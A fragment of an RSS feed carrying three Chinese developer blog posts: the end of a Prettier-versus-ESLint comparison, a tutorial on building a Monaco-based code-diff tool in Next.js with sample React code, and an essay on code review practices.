 &lt;p&gt;  &lt;img alt="image.png" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a76e0221ebc243a2bc24e817560da6b0~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;一个流行的代码格式化工具的名称，它能够解析代码，使用你自己设定的规则来重新打印出格式规范的代码。可以为项目定义一下规则：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;将所有单引号更改为双引号，&lt;/li&gt;
  &lt;li&gt;添加缺少的分号，&lt;/li&gt;
  &lt;li&gt;在大括号或方括号和变量之间放置空格，&lt;/li&gt;
  &lt;li&gt;设置标准标签宽度。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;上面只是 Prettier 规则的很小部分，在 VS Code 中，可以很容易覆盖任何你不喜欢的规则。&lt;/p&gt;
 &lt;p&gt;Prettier 是为了保持代码格式一致的 VS Code 插件，它可以   &lt;code&gt;.prettierrc&lt;/code&gt; 在项目中有或没有文件的情况下工作（尽管这对于在代码库上工作的开发团队来说可能是一个很好的建议）。它将使项目的代码保持干净和易于阅读，并且在团队中的所有开发人员中都一样。&lt;/p&gt;
 &lt;h3&gt;ESLint 与 Prettier&lt;/h3&gt;
 &lt;ul&gt;
  &lt;li&gt;ESlint 不仅仅是一个代码格式化程序，它还可以帮助开发人员发现编码错误。例如，如果在没有声明的情况下使用变量，ESLint 会给你一个警告。Prettier 没有这样的能力。&lt;/li&gt;
  &lt;li&gt;ESLint 会让开发人员知道代码格式有什么问题，并为其提供解决问题的选项。然后可以从这些选项中选择一个。另一方面，Prettier 根本不关心你。它只是将所有代码格式化为不同的结构格式。&lt;/li&gt;
  &lt;li&gt;Prettier 中的整个重写过程可以防止开发人员犯任何错误。&lt;/li&gt;
  &lt;li&gt;   &lt;code&gt;max-len&lt;/code&gt;、   &lt;code&gt;no-mixed-spaces-and-tabs&lt;/code&gt;、   &lt;code&gt;keyword-spacing&lt;/code&gt;、   &lt;code&gt;comma-style&lt;/code&gt; 是 Prettier 中一些流行的格式规则。&lt;/li&gt;
  &lt;li&gt;除了上述类型的规则，ESLint 还考虑了代码质量规则，例如    &lt;code&gt;no-unused-vars&lt;/code&gt;、   &lt;code&gt;no-extra-bind&lt;/code&gt;、   &lt;code&gt;no-implicit-globals&lt;/code&gt;、   &lt;code&gt;prefer-promise-reject-errors&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;总的来说，这些方法似乎相互补充，同时也有一些相似之处。合理使用 ESLint 与 Prettier 可以提升团队合作的代码的质量，借助工具来提升团队的代码质量。&lt;/p&gt;
 &lt;p&gt;  &lt;em&gt;   &lt;strong&gt;本文正在参加    &lt;a href="https://juejin.cn/post/7162096952883019783" title="https://juejin.cn/post/7162096952883019783"&gt;「金石计划 . 瓜分6万现金大奖」&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; ”&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62496-%E5%9B%A2%E9%98%9F-%E4%BB%A3%E7%A0%81-%E8%B4%A8%E9%87%8F</guid>
      <pubDate>Mon, 21 Nov 2022 19:18:31 CST</pubDate>
    </item>
    <item>
      <title>开发一个在线代码对比工具</title>
      <link>https://itindex.net/detail/62342-%E5%BC%80%E5%8F%91-%E5%9C%A8%E7%BA%BF-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;hr&gt;&lt;/hr&gt;
 &lt;h2&gt;highlight: monokai&lt;/h2&gt;
 &lt;p&gt;我正在参加「创意开发 投稿大赛」详情请看：  &lt;a href="https://juejin.cn/post/7120441631530549284" title="https://juejin.cn/post/7120441631530549284"&gt;掘金创意开发大赛来了！&lt;/a&gt;&lt;/p&gt;
 &lt;h2&gt;前言&lt;/h2&gt;
 &lt;p&gt;在开发过程中，我们经常需要用到代码对比，对比下代码是否一致，有哪些改动，方便我们可以查看问题，今天我们就来说实现下，其实很简单，不需要后端，纯前端就可以实现。&lt;/p&gt;
 &lt;h2&gt;Monaco Editor&lt;/h2&gt;
 &lt;p&gt;  &lt;a href="https://microsoft.github.io/monaco-editor/" title="Monaco Editor"&gt;Monaco Editor&lt;/a&gt; 是 VS Code 中使用的开源代码编辑器， 拥有代码高亮和代码自动补全的功能，并且内置了一个 Diff Editor。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#23448;&amp;#32593; Diff editor" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fdf6eca3d39e4e8e9f4d8f1f3d0bcbad~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;官网就有一个 Diff Editor 的演示，我们要开发的就是在这个基础之上，加上语言切换的功能，让这个 Diff Editor 拥有内置云语言的语法高亮。&lt;/p&gt;
 &lt;p&gt;  &lt;code&gt;TypeScript, JavaScript, CSS, LESS, SCSS, JSON, HTML、XML, PHP, C#, C++, Razor, Markdown, Diff, Java, VB, CoffeeScript, Handlebars, Batch, Pug, F#, Lua, Powershell, Python, Ruby, SASS, R, Objective-C&lt;/code&gt;&lt;/p&gt;
 &lt;p&gt;官网罗列了这些语言，但远不止于此。&lt;/p&gt;
 &lt;h2&gt;马上掘金&lt;/h2&gt;
 &lt;p&gt;  &lt;a href="https://code.juejin.cn/pen/7123357709495173151" title="Monaco Sample Editor"&gt;代码片段&lt;/a&gt;
使用 monaco-editor 创建一个简单的代码编辑器&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://code.juejin.cn/pen/7123359492221173768" title="Monaco Diff Editor"&gt;代码片段&lt;/a&gt;
使用 monaco-editor 创建一个简单的 Diff 编辑器&lt;/p&gt;
 &lt;p&gt;Monaco Editor 有 2 种加载方式，分别是 amd 和 esm，也就是   &lt;code&gt;Requirejs&lt;/code&gt; 和   &lt;code&gt;ES Modules&lt;/code&gt;。马上掘金中使用的是   &lt;code&gt;requirejs&lt;/code&gt;。&lt;/p&gt;
 &lt;h2&gt;技术栈选择&lt;/h2&gt;
 &lt;p&gt;我准备把常用的工具做成一个工具网站，所以我选择使用   &lt;a href="https://nextjs.org/" title="next.js"&gt;next.js&lt;/a&gt;，并且可以使用   &lt;a href="https://vercel.com/"&gt;vercel&lt;/a&gt; 免费持续部署。&lt;/p&gt;
 &lt;p&gt;关于 Monaco Editor 在 next.js 中的配置，之前有介绍过，大家可以看这篇文章   &lt;a href="https://juejin.cn/post/7091177467498463239"&gt;《在 Next.js 中使用 Monaco Editor》&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;实现 Diff Editor&lt;/h2&gt;
 &lt;pre&gt;  &lt;code&gt;import type { editor as MonacoEditor } from &amp;quot;monaco-editor&amp;quot;;
import { useEffect, useRef, useState } from &amp;quot;react&amp;quot;;
import * as monaco from &amp;quot;monaco-editor&amp;quot;;

export default function TextDiffPage() {
 const editorContainer = useRef&amp;lt;HTMLDivElement | null&amp;gt;(null);
 const [language, setLanguage] = useState(&amp;quot;text&amp;quot;);
 const [inlineView, setInlineView] = useState(false);

 const [diffEditor, setDiffEditor] =
   useState&amp;lt;MonacoEditor.IStandaloneDiffEditor | null&amp;gt;(null);

 const createModel = (
   value: string,
   language: string,
   type: &amp;quot;original&amp;quot; | &amp;quot;modified&amp;quot;
 ) =&amp;gt; {
   return monaco.editor.createModel(value, language);
 };

 const initEditor = async () =&amp;gt; {
   const originalModel = createModel(`Hello World`, language, &amp;quot;original&amp;quot;);
   const modifiedModel = createModel(`Goodbye World`, language, &amp;quot;modified&amp;quot;);
   const editor = monaco.editor.createDiffEditor(editorContainer.current, {
     minimap: { enabled: false },
     theme: &amp;quot;vs-dark&amp;quot;,
     renderSideBySide: !inlineView,
     originalEditable: true,
   });
   editor.setModel({
     original: originalModel,
     modified: modifiedModel,
   });

   setDiffEditor(editor);
 };

 useEffect(() =&amp;gt; {
   initEditor();
   return () =&amp;gt; {
     if (diffEditor) diffEditor.dispose();
   };
 }, []);

 useEffect(() =&amp;gt; {
   if (diffEditor) {
     diffEditor.updateOptions({
       renderSideBySide: !inlineView,
     });
   }
 }, [inlineView]);

 return (
   &amp;lt;div className=&amp;quot;h-screen flex flex-col&amp;quot;&amp;gt;
     &amp;lt;header className=&amp;quot;h-16 border-b dark:border-neutral-800 flex-shrink-0 flex items-center px-3 space-x-5&amp;quot;&amp;gt;
       &amp;lt;label className=&amp;quot;space-x-1 flex items-center&amp;quot;&amp;gt;
         &amp;lt;input
           type=&amp;quot;checkbox&amp;quot;
           checked={inlineView}
           onChange={(e) =&amp;gt; setInlineView(e.target.checked)}
         /&amp;gt;
         &amp;lt;span&amp;gt;Inline diff&amp;lt;/span&amp;gt;
       &amp;lt;/label&amp;gt;
     &amp;lt;/header&amp;gt;
     &amp;lt;div ref={editorContainer} className=&amp;quot;h-full&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
   &amp;lt;/div&amp;gt;
 );
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;上述代码很简单，可能有同学对   &lt;code&gt;createModel&lt;/code&gt; 方法比较疑惑，为什么是   &lt;code&gt;Model&lt;/code&gt; ？好比 Monaco Editor 是一个容器，容器可以设置 Model、切换 Model，比如 vscode 中，每打开一个文件就是一个 Model，文件切换就是切换 model，每个文件都有状态，比如光标位置，历史记录等，这些状态都存在 model 中，这样就不会因为文件切换而状态混淆。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;// typescript 禁用类型检查
monaco.languages.typescript.typescriptDefaults.setDiagnosticsOptions({
  noSemanticValidation: true,
  noSyntaxValidation: false,
});

// typescript jsx 格式使用 React 语法解析
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
  jsx: monaco.languages.typescript.JsxEmit.React,
});
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;对与一些 typescript 的语法校验我们可以选择关闭，jsx 不支持，可以设置为 react 语法支持。&lt;/p&gt;
 &lt;h2&gt;最后&lt;/h2&gt;
 &lt;p&gt;最后我的工具网站也开源了，包含一些前端常用工具，还可以在线刷面试题。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;a href="https://www.runjs.cool/text-diff"&gt;代码对比编辑器&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="https://github.com/maqi1520/runjs.cool"&gt;GitHub 代码&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;如果对你有帮助，可以随手点个赞，这对我真的很重要。&lt;/p&gt;
 &lt;p&gt;以上就是本文全部内容，希望这篇文章对大家有所帮助，也可以参考我往期的文章或者在评论区交流你的想法和心得，欢迎一起探索前端。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62342-%E5%BC%80%E5%8F%91-%E5%9C%A8%E7%BA%BF-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Sat, 23 Jul 2022 09:32:39 CST</pubDate>
    </item>
    <item>
      <title>关于代码评审(CodeReview)那些不得不说的事儿</title>
      <link>https://itindex.net/detail/62269-%E4%BB%A3%E7%A0%81%E8%AF%84%E5%AE%A1-codereview</link>
      <description>&lt;p&gt;  在一个成熟的团队中，CodeReview是整个研发流程中不可或缺的一步，而那些即将走向成熟的团队可能对CodeReview有很多的误解和问题，也不清楚CodeReview该如何去做，本文笔者将结合自己的经验和知识，谈谈我对CodeReview流程的一些理解和建议 。&lt;/p&gt; &lt;h1&gt;什么是CodeReview&lt;/h1&gt; &lt;p&gt;  CodeReview 国内也称  &lt;strong&gt;代码评审或者代码审查&lt;/strong&gt;，也简称CR，是指在软件开发过程中，工程师对其他人所写代码做审阅（后文统称CodeReview），以达到控制代码质量的目的。通常的流程都是由代码写作者发起，请团队内其他人审阅代码，其他人对代码提出改进建议，再由代码写作者修改重新提交，直至代码通过大家的审阅为止。&lt;/p&gt; &lt;h1&gt;为什么要做CodeReview？&lt;/h1&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000041885336" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  其实很多人都不是很重视CodeReview，因为CodeReview的效果短期很难看到，也很难量化衡量。就如同运动一样，偶尔过量的运动不仅对身体无益，可能还会起反作用，不过长期的坚持肯定会让你更健康，但能让你健康多少很难量化，不过前一段时间github上爆火的项目《程序猿延寿指南》里给出了可参考的数据，每周3次45分钟挥拍运动可以减少全因死亡率47%，按其公式折算大概增加9年的预期寿命。运动除了增加预期寿命外，也能显著减少很多疾病的发病率。坚持CodeReview如同坚持运动一样，趋势肯定是让整个代码库更为健康长寿。    &lt;/p&gt; &lt;p&gt;CodeReview从长期来看，有几个明显的好处，接下来就一一讲一下。&lt;/p&gt; &lt;h2&gt;提升代码质量&lt;/h2&gt; &lt;p&gt;  假如将一个系统比作一个生命体，一行行代码比作一个个细胞，不好的设计宛如癌细胞，会逐渐扩散，终将杀死系统。而CodeReview的过程就像是T细胞吞噬掉癌细胞，保证系统的健康成长。让系统有更长久的生命力。&lt;/p&gt; &lt;blockquote&gt;  &lt;strong&gt;没有人Review的代码，其代码水准就是写代码人的水准，而被一个团队Review过的代码，它的水准将接近甚至超过整个团队的最高水准。&lt;/strong&gt;&lt;/blockquote&gt; &lt;p&gt;  因为单个人可能在某些方便做的比较好，集大家之所长就能在各个方面都做的比较好。另外，随着CodeReview流程日常化，每个参与人的编码能力也会逐步提升，无限趋近于团队最高水准，因为在CodeReview的过程中，你可以看到别人做的好的地方，可以学习到经验，也可以看到别人做的不好的地方，吸取到教训。随着时间的流逝，逐渐积累为参与者的能力。&lt;/p&gt; &lt;h2&gt;提前发现问题&lt;/h2&gt; &lt;p&gt;  在没有CodeReview流程的时候，我们都是依赖于测试，甚至是依赖于功能上线后用户暴露问题，这种发现方式已经偏晚了，尤其是让用户暴露问题的时候可能问题已经非常大了。  &lt;strong&gt;问题暴露的越晚，风险也就越大&lt;/strong&gt;。 而CodeReview一般是放在代码测试之前，如果能在这个阶段就发现问题就能提前将各种风险扼杀在摇篮中。 但是，CodeReview真的能提前发现问题吗？如果能的话，可以提前发现什么样的问题？    &lt;/p&gt; &lt;p&gt;  我个人觉得CodeReview可以提前发现流程或者实现上的问题，尤其是在做业务需求的时候，不同工作经验的人对同一个需求的理解肯定会有差异，代码实现上也会有很大的差异，有时候一点点的理解偏差，导致出现那种失之毫厘谬以千里的后果，写代码的人也会因为处在自己的思维定式中发现不了问题，而别人可能因为经验丰富或者需求相关背景了解更多，就能很轻易发现问题。像这种情况一般出现在团队新人身上，他们对已有系统和业务了解不多，实现需求时很容易出现问题，这时候如果有人帮忙指出就能避免更严重的后果，另外也有助于新人了解业务和融入团队。     &lt;/p&gt; &lt;p&gt;  在CodeReview过程中另外一种问题也比较容易发现，就是那些别人之前踩过的坑。比如Java中Simple  &lt;em&gt;Date&lt;/em&gt;Format其实有线程安全的问题，不了解的人很容易就踩坑了。如果别人踩过这个坑，就可以在CodeReview过程中提前帮你指出来。 很多开源的类库，甚至Jdk中很多包或多或少都有使用上的坑…… 这种例子就数不胜数了。        &lt;/p&gt; &lt;p&gt;  当然CodeReview也不是万能的，也有很多问题发现不了的，比如一些边缘Case或者是代码计算结果的准确性，比如你代码实现了一个很复杂公式的计算，你总不能指望有人能通过看代码来发现问题吧。 这些还是老老实实去做测试吧！&lt;/p&gt; &lt;h2&gt;经验和知识的传递&lt;/h2&gt; &lt;p&gt;  程序猿可以写出能运行的代码，但真正的工程师才能写出低bug、易扩展、易维护的高质量代码，更高级的工程师还能帮其他人成为一名合格的工程师。CodeReview的流程也是高级工程师来帮助其他人最直接的方式。   &lt;/p&gt; &lt;p&gt;  在CodeReview中，你可以看到其他人写出来的优秀代码、优秀的设计，甚至和改动相关的业务背景知识……，Review越多，学到的也越多。另外，即便是哪些不太好的代码，经过别人的Review，必然会留下很多评论或者是改动建议，甚至是别人之前踩的坑，你都能看到，从这些内容上你也可以学到很多新的知识。CodeReview不仅仅是一个提升代码质量方式，它也可以肩负起知识积累和消息集散的功能。  &lt;/p&gt; &lt;p&gt;  举个我之前遇到过的例子，我们之前有个功能需要操作机器上的文件，当然用Java的File也能实现，但是对操作多层级的文件夹时就很不方便了，需要自己写很多的代码，搞不好还容易出bug。后来我发现apache-common包中提供了IOUtils类，可以很方便操作文件夹。我把这个写到CodeReview的评论中，只要看到过的人都会知道原来有这个东西可以用。   &lt;/p&gt; &lt;p&gt;  所以，Review别人代码时请毫不吝啬地留下你的建议吧，另外，CodeReview时也不要忘记关注下别人的建议，说不定可以学到新的东西。&lt;/p&gt; &lt;h1&gt;如何做好CodeReview&lt;/h1&gt; &lt;p&gt;  说完了CodeReview的好处，相信你肯定已经跃跃欲试了，如何能做好CodeReview？这里我根据我的知识和经验分享下我的看法。&lt;/p&gt; &lt;h2&gt;CodeReview的步骤&lt;/h2&gt; &lt;h3&gt;了解改动的背景&lt;/h3&gt; &lt;p&gt;  CodeReview不是一上来就看代码，这样有可能你会看的云里雾里，纯粹是浪费时间。 CodeReview虽然是Review代码，但是首先你的知道你要看的代码实现了什么样的功能，是在什么样的背景下去做的，清楚前因后果之后，你才能知道这个代码大概应该怎么去写，你才能更好的去Review别人的代码、去发现别人的问题。&lt;/p&gt; &lt;h3&gt;纵观全局&lt;/h3&gt; &lt;p&gt;  知道背景之后，在你脑海中就会有一个大概的编码思路，也有个流程主线。这个时候可能有两种情况，你和写代码人的思路相同，那你就顺着你们共同的思路去帮忙Review整个流程是否正确。另一种情况就是你们思路不同，你就得看代码去了解写作者的思路，然后确认是谁的思路有问题，或者是谁的思路更好，然后同写作者一起将这个流程优化到更优。&lt;/p&gt; &lt;h3&gt;逐层细化&lt;/h3&gt; &lt;p&gt;  确定完整个流程之后，就可以逐步深入到代码细节中了，细节可以Review的地方就很多了，可以看下下一节的内容，这里就先不展开了。&lt;/p&gt; &lt;h2&gt;CodeReview的关注点&lt;/h2&gt; &lt;p&gt;  在CodeReview的过程中，如果有一些立足点的话可以帮助大家更好的完成CodeReview的过程，我大概总结出以下几点：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;strong&gt;功能性：&lt;/strong&gt; 代码所实现的功能是否和预期一样，是否实现了所有必须的功能？&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;复杂性：&lt;/strong&gt; 功能实现是否过于复杂？ 过于复杂的代码更容易出问题，而且可维护性也会更低。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;代码风格：&lt;/strong&gt; 代码是否符合团队编码规范？&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;文档&amp;amp;注释：&lt;/strong&gt; 如果代码功能有改动，关注下相关文档和注释有没有同步改动。 错误的注释和文档可能会让未来的开发者产生理解成本。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;代码亮点：&lt;/strong&gt; 如果你看到变更中做得好的地方，也别吝啬你的赞美。&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;上面描述更偏概括性，我们来举一些更详细的例子，帮助大家理解上面几点。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;代码设计良好，可读性和可维护性高。&lt;/li&gt;  &lt;li&gt;是否有线程安全的bug。&lt;/li&gt;  &lt;li&gt;代码没有增加不必要的复杂性。&lt;/li&gt;  &lt;li&gt;开发者没有写一些目前没有在用的代码，这种无用的代码未来大概率也不会用，所以不要假设。&lt;/li&gt;  &lt;li&gt;代码有适当的单元测试。&lt;/li&gt;  &lt;li&gt;测试逻辑设计良好。&lt;/li&gt;  &lt;li&gt;开发者使用了清晰明了的变量和函数命名。&lt;/li&gt;  &lt;li&gt;注释清晰明了且实用，并且解释清楚了   &lt;em&gt;为什么&lt;/em&gt;这么做，而不仅仅是   &lt;em&gt;做了啥&lt;/em&gt;。&lt;/li&gt;  &lt;li&gt;代码有相应完善的文档。&lt;/li&gt;  &lt;li&gt;代码风格符合规范。&lt;/li&gt;  &lt;li&gt;代码有没有更优的实现？（性能、资源占用……）&lt;/li&gt;  &lt;li&gt;……   &lt;br /&gt;更多更细节的内容，可以参考   &lt;a href="https://github.com/xindoo/eng-practices-cn" rel="nofollow noreferrer"&gt;谷歌工程实践——代码评审&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h2&gt;注意事项&lt;/h2&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000041885337" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;CodeReview的礼节&lt;/h3&gt; &lt;p&gt;  首先CodeReview不是你个人炫技的舞台，看到别人代码的问题需要礼貌指出，切忌diss别人。其次，CodeReview不要为了提问题而提问题，有些代码就是没问题，你也没必要纠结必须要提个问题，直接通过即可。 这里在额外说一点，大部分Review别人的代码，只关注到别人做的不好的地方，而忽视了别人做的好的地方，遇到好的代码、好的设计也别忘记点个赞。&lt;/p&gt; &lt;h3&gt;CodeReview应当及时&lt;/h3&gt; &lt;p&gt;  别人提的CodeReview应当及时处理，在很多公司中CodeReview是开发流程中必要的一环，没有Review通过的肯定是不能上线的，如果CodeReview长时间不处理可能会延误后续的流程。 另外一点，CodeReview是相互的，今天你及时帮别人Review了，明天别人也会及时帮你Review，  &lt;strong&gt;与人方便即与己方便&lt;/strong&gt;。&lt;/p&gt; &lt;h1&gt;如何写出对CodeReview友好的代码&lt;/h1&gt; &lt;blockquote&gt;  &lt;strong&gt;程序写出来是给人看的，附带能在机器上运行。  ——Harold Abelson&lt;/strong&gt;&lt;/blockquote&gt; &lt;p&gt;时刻谨记上面这句话。&lt;/p&gt; &lt;h2&gt;提交前先做好自审&lt;/h2&gt; &lt;p&gt;  提前自己处理掉一些低级错误，可以先借助一些工具完成一些简单的检查。例如我们团队会借助checkstyle、spotbug、sonar、pmd等工具完成代码风格和一些潜在bug的检查。然后自己做好功能的自测，尽可能先消灭一部分bug，为CodeReview减少一些负担。&lt;/p&gt; &lt;h2&gt;写清楚变更描述&lt;/h2&gt; &lt;p&gt;  这里对应上文中CodeReview步骤中的了解改动背景，作为代码的写作者，你不能一上来就让别人从代码入手吧，可能看你代码的很多其他人都缺少代码改动相关的上下文信息，完全理解代码成本很高，所以需要在变更描述中将这些信息描述清楚，包括但不仅限于改动背景、改动点、流程、具体设计……  一句话概括就是  &lt;strong&gt;好的变更描述应该说清楚这次是做了什么变更，以及为什么要这么做&lt;/strong&gt;。  &lt;/p&gt; &lt;p&gt;  更详实的变更描述可以让Review代码人减少理解成本，更快完成CodeReview的流程，你代码改动也就能更快进入后续流程了。&lt;/p&gt; &lt;h2&gt;单个变更尽可能短&lt;/h2&gt; &lt;p&gt;  一个非常大的变更几乎没有Review，因为大的改动首先就很难Review，其实也更耗费时间，还有出问题的概率也更大，谁Review通过了代码但之后上线出问题，可能是要和你一起背锅的。所以建议大家将大的代码变更尽可能拆小，因为小的变更有以下这些好处:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;strong&gt;代码评审更快&lt;/strong&gt; 与比起花30分钟评审一个大的变更相比，对Review代码的人来说花5分钟审查一系列小的变更更加容易.&lt;/li&gt;  &lt;li&gt;Review   &lt;strong&gt;更加彻底。&lt;/strong&gt; 进行较大的更改后，审阅者和作者往往会因大量详细评论的来回移动而感到沮丧，有时这些评论会漏掉或遗漏重要的观点。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;减少导致bug的可能性。&lt;/strong&gt; 由于您所做的更改较少，因此您和您的审阅者更容易有效地推断出CL的影响，并查看是否导致bug。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;减少不必要的工作&lt;/strong&gt; 当你写了一个巨大的变更，然后评审者觉得你总体方向错了，这会导致你浪费大量的工作。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;更方便合并代码&lt;/strong&gt; 因为大型的变更会导致大量的冲突，因此合代码的时候会耗费很多时间，而且可能因合并代码导致问题，我们就出现过好几次代码合并的时候冲掉别人代码的情况。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;有助于你作出更好的设计&lt;/strong&gt; 优雅的设计并且完善一个小的改动比大的改动更加容易&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;降低评审者的难度&lt;/strong&gt; 提审部分改动，不会影响你继续编码。&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;如果真出问题，回滚更容易&lt;/strong&gt;   这个就不用多解释了吧。&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  对于那些很难拆分的变更，也不是需要完全禁止，有时候就是有改动非常大，而且无法再去拆分了，这时候还是建议通过其他方式来保证代码质量，比如全流程测试。 然后也建议做好出问题时的快速恢复方案。&lt;/p&gt; &lt;h2&gt;注意事项&lt;/h2&gt; &lt;h3&gt;注意自己的情绪&lt;/h3&gt; &lt;p&gt;  代码的写作者在CodeReview的流程中是弱势的一方，很多人代码在收到评论被要求要修改代码的时候，都有一种不太愿意接受的心态，其实我自己也经常会有这种心态，尤其是在时间比较紧张的情况下。 其实这是很正常的心态，但是还是需要去控制自己的情绪的，从评论者的角度出发，他肯定也不是在刁难你，也是希望代码质量能更高。如果真遇到这种情况，首先可以和评论者讨论清楚他的要求是否合理，如果确定了合理性当然还是要改的。但如果在时间比较紧张的情况下，协商是否可以不修改或者是之后再修改，确实有些锦上添花的修改没必要阻塞之后的流程。&lt;/p&gt; &lt;h3&gt;CodeReview流程应该尽早提交&lt;/h3&gt; &lt;p&gt;  日常情况下，还是建议早点提交CodeReview，并留出一定的时间来做修改，尽可能不要让这个流程变的匆忙。 大部分公司的实践都是在进入测试流程的时候同时进入CodeReview流程。&lt;/p&gt; &lt;h1&gt;关于CodeReview的几个误区&lt;/h1&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000041885338" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;CodeReview是纯浪费时间？&lt;/h3&gt; &lt;p&gt;  如果你的团队刚开始推行CodeReview流程，这个问题肯定是会被很多人问到的。 所以是不是呢? 这里我拿锻炼身体类比下，大家都知道坚持运动对健康有益，但如果只是一时兴起，偶尔过量的运动不仅对身体无益，可能还会起反作用。实际上，坚持运动对健康的影响其实很难量化，但我们现在都知道，运动是好的。同样，CodeReview如同运动一样，它可能会耗费一定的精力和时间，但长期坚持下来必然会让整个代码库、整个系统甚至这个团队更加健康。    &lt;/p&gt; &lt;p&gt;  另外，如果一个团队CodeReview机制很成熟，写代码的人随着被Review的次数增加，其代码质量必然也会逐步提交，那么代码中的问题肯定也会逐步减少，随之而来的就是CodeReview的过程越来越轻松。&lt;/p&gt; &lt;blockquote&gt;  &lt;strong&gt;困难的路会越走越简单，而简单的路会越走越困难。&lt;/strong&gt;&lt;/blockquote&gt; &lt;h3&gt;工期很紧，没时间做CodeReview！&lt;/h3&gt; &lt;p&gt;  这也是很多团队不做CodeReview的借口。 你不做CodeReview省下的时间，会在后面测试，甚至是在后面长期维护中花费更多的时间。 我们有句耳熟能详的老话叫做“磨刀不误砍柴工”，其实CodeReview和测试在软件开发过程中就是“磨刀”的工作。 &lt;/p&gt; &lt;p&gt;  &lt;strong&gt;做好事前控制而不是事后弥补。  因为时候弥补的代价会非常高，&lt;/strong&gt;&lt;/p&gt; &lt;h3&gt;只有高级工程师才有资格Review别人代码？&lt;/h3&gt; &lt;p&gt;  虽然事实上几乎都是高级工程师在Review别人的代码，我理解造成这种现象的原因其实也比较简单，高级工程师确实经验丰富一些，也更容易Review出别人代码中的问题，所以会留下更多的Review记录，造成只有高级工程师才参与CodeReview的假象。 但这绝不意味着初级工程师没有资格Review别人的代码，所谓三人行必有我师，即便是初级工程师也有可能发现Review出别人代码中的问题。  &lt;/p&gt; &lt;p&gt;  即便你暂时确实经验不够丰富，很难找出别人的问题，但你也可以从别人Review代码的过程中学到很多东西，就像上文所说CodeReview也是团妒经验和知识的一种传递方式。  参与CodeReview也是成为高级工程师必不可少的一步。&lt;/p&gt; &lt;h3&gt;都有测试流程了，为什么还要做CodeReview？&lt;/h3&gt; &lt;p&gt;  这个问题算是已经在上文中回答过了，CodeReview需要看很多个方面的内容，而测试只能保证其结果的准确性。&lt;/p&gt; &lt;h3&gt;有了CodeReview就不需要测试了？&lt;/h3&gt; &lt;p&gt;  问这个问题的人相比于问上个问题的人又走了另一个极端，又把CodeReview和测试放在了对立面上。虽然CodeReview如果做的比较好的话，确实能提前发现一些比较明显的问题，但是做CodeReview的是人，人是无法大规模且精准的去校验程序的执行过程，而这恰恰是自动化测试所擅长的，所以说CodeReview和测试并不是对立关系，而是一种互补关系。&lt;/p&gt; 